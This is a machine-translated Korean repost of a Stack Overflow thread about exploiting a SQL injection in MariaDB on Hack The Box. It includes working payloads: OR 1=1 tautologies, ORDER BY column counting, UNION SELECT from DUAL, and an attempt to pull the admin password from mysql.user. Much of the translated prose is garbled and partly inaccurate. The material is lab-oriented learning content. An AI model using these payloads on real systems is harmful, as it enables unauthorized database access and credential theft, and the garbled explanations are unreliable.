source

MariaDb SQL 주입

gigabyte 2022. 9. 25. 17:39
반응형

MariaDb SQL 주입

SQLi 취약성이 있는 MariaDb 데이터베이스를 합법적으로 이용하려고 합니다.

여기서 취약점을 확인했는데...

/?o=1&page=app

o=*취약하며 다음 오류가 발생합니다.

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

저는 Burp Suite를 사용하고 있으며, 마크에 가까운 것 같지만 여전히 구문 오류가 발생하고 있습니다.

는 제가 '에 더 생각합니다.'5' or dest like '1'') LIMIT 10'.

라고 생각한다.1사실대로 말하다

알수는 admin password i admin password는 admin password 입니다.uid 1.

이 쿼리에서 부족한 점은 무엇입니까?

SELECT Password FROM mysql.user WHERE (uid = '1' or dest like '%')-- ') LIMIT 10

편집: 이것은 Hack The Box에서 수행되고 있기 때문에 불쾌한 불법적인 일은 일어나지 않습니다.

편집: 이것은 Hack The Box에서 수행되고 있기 때문에 불쾌한 불법적인 일은 일어나지 않습니다.

그래, 그럼 재밌게 놀자.

에러 메시지를 보면

정보:구문에 에서 "에 가까운 또는 "5"와 같은 수신처에 하십시오.SQL "5"는 "DB Maria"와 .'1'') LIMIT 10'

는 이 와이즈와 할 수 .@oMySQL을 사용하다

SELECT
 *
FROM
 DUMMY_TABLE
WHERE
 DUMMY_TABLE.o = '",@o,"'
LIMIT 10 

SQL 바이올린 공간을 사용하여 SQL 주입 테스트를 시뮬레이트하고 다른 테이블에 더 많이 액세스할 수 있도록 합니다.

해 볼 수 .1' OR 1 = 1# ★★★★★★★★★★★★★★★★★」1' OR 1 = 1--다 효과가 , 를 내야 합니다.1이것 이 다른 때문에 버전의 「MariaDB Automatic」을 사용.1' OR '1' = '1#

어떤 것이 생성될까요?

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10 

또는

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10 

응용 프로그램을 사용할 수 .ORDER BY 1선택한 열의 수를 확인하고 오류가 발생할 때까지 숫자를 늘립니다.

오류: ER_BAD_필드_ERROR: 'order 절'의 알 수 없는 열 '2'

주입하다

1' ORDER BY 1# ★★★★★★★★★★★★★★★★★」1' ORDER BY 1--

즉, 결과 집합의 첫 번째 열에 정렬이 아니라1문자 그대로의

생성하다

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10 

또는

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10 

을 알면 할 수 .UNION사용하다NULL든든모면면면면 면

주입

1' UNION ALL SELECT NULL FROM DUAL#

:DUAL는 MariaDB, MySQL 및 Oracle에 존재하지 않는 "가상" 테이블입니다.이 "테이블"을 쿼리할 수 있다면 기술적으로 다른 테이블로 이동할 수도 있습니다.

생성된 SQL

SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10 

웹 가 하나의 가 항상 되는 "되어 있는 "상세" 페이지를 .LIMIT 1, 1주사할 때요

웹 응용 프로그램에 오류가 표시되지 않으면 블라인드 SQL 주입을 사용하여 geuss를 맹목적으로 강제하고 응용 프로그램의 작동 방식을 확인할 수 있습니다.
, 음 also, 음, 음, 음, 음, 다, 다, 다, 다, also, also, also, also, also, also.?o=0,?o=NULL 최대 값(Signed 매우 합니다.?o=2147483647또는 (지정 해제)?o=4294967295응용 프로그램에서 찾을 수 없는 레코드를 어떻게 처리하는지 알 수 있도록 사용된 열 번호를 강제 적용하려고 시도하기 전에 미리 확인하십시오. 가능성이 높기 때문입니다.0 그 는 or or or or 、 or 、 or 、 or 、 or 、 or or 、INT입니다.datatype: "데이터타입"은 "데이터타입"입니다. 이 가 있는 는, 「」의합니다.BIGINT대신 데이터를 입력합니다.

한 결과 ID '1'입니다.o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

오류가 발생하지만 대부분 오류 페이지 또는 레코드를 찾을 수 없다는 메시지가 표시될 수 있습니다.
HTTP 404(Not Found)입니다.
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#

「 」를 사용했을 .LIMIT하지 않고ORDER BYSQL 표준에서는 SQL 테이블/결과셋을 사용하지 않으면 순서가 없다고 정의되어 있기 때문에 동일한 레코드를 얻을 가능성이 있습니다.ORDER BY

으로는 계속 .ORDER BY 1짐승 같은 놈으로.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#

그리고.

1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#

는 ""를 합니다.ORDER BY 1MSSQL)및에서 .SQL, MariaDB, SQL Server(MSSQL) Postgre를 사용합니다.SQL.

한 also도.ORDER BY 199에서 입니다.
실제로 는 SQL을 실행하지 합니다.ORDER BY 1이 점에 대해 SQL 표준을 준수하는지 여부를 확인합니다.

SQL 92 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
      | <unsigned integer> # <- here it is 

 <ordering specification> ::= ASC | DESC

vs SQL 1999 BNF

 <sort specification list> ::=
      <sort specification> [ { <comma> <sort specification> }... ]

 <sort specification> ::=
      <sort key> [ <collate clause > ] [ <ordering specification> ]


 <sort key> ::=
        <column name>
                        # <- missing

 <ordering specification> ::= ASC | DESC

일부 관찰:

mysql.user.uid ★★★★★★★★★★★★★★★★★」dest

SQL 주입 취약성을 이용하려면 동적으로 구성되는 SQL 문의 컨텍스트 내에서 작업해야 합니다.

응용 프로그램 SQL 문이 다음 형식인 경우:

 SELECT somecol FROM sometable WHERE keycol = 'x' ORDER BY foo LIMIT 1

그 입니다.xsql SQL の 에포되되어있 。SQL 'x'입니다.하지만 우리는 앞의 진술에서 "탈옥"하지 않습니다.

것을 FROM표에서 , 할 수 .

 SELECT somecol FROM sometable WHERE keycol = 'foo' AND 1=0 
 UNION ALL 
 SELECT expr FROM anothertable ORDER BY expr LIMIT 1 -- '

여러 개의 스테이트먼트를 실행할 수 있는 다중 스테이트먼트의 취약성이 있을 수 있습니다.

그러나 이 취약성을 이용하는 방법을 알아내는 데 많은 시간을 할애할 필요는 없습니다.취약성을 해소하기 위해서는 애플리케이션을 수정하는 데 시간과 노력을 들여야 합니다.

언급URL : https://stackoverflow.com/questions/54809948/mariadb-sql-injection

반응형